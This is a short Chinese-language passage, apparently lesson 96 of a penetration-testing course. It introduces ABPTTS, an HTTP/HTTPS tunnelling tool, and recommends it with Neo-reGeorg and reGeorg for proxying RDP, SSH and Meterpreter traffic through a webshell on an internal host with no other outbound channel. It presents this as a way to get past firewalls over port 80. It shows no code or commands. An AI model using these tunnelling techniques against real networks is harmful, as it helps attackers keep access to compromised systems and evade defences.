HTTP隧道ABPTTS——获取webshell的主机位于内网，并且该内网主机的icmp、dns、tcp和udp协议等都不能出网，唯一的数据通道是webshell搭建正向代理。 根据代理的稳定性、速度推荐Neo-reGeorg、reGeorg、abptts 三款工具。

 

第九十六课：HTTP隧道ABPTTS第一季

 

 

ABPTTS简介：

ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发，在目前云主机的大环境中，发挥了比较重要的作用，可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是，abptts是全加密。
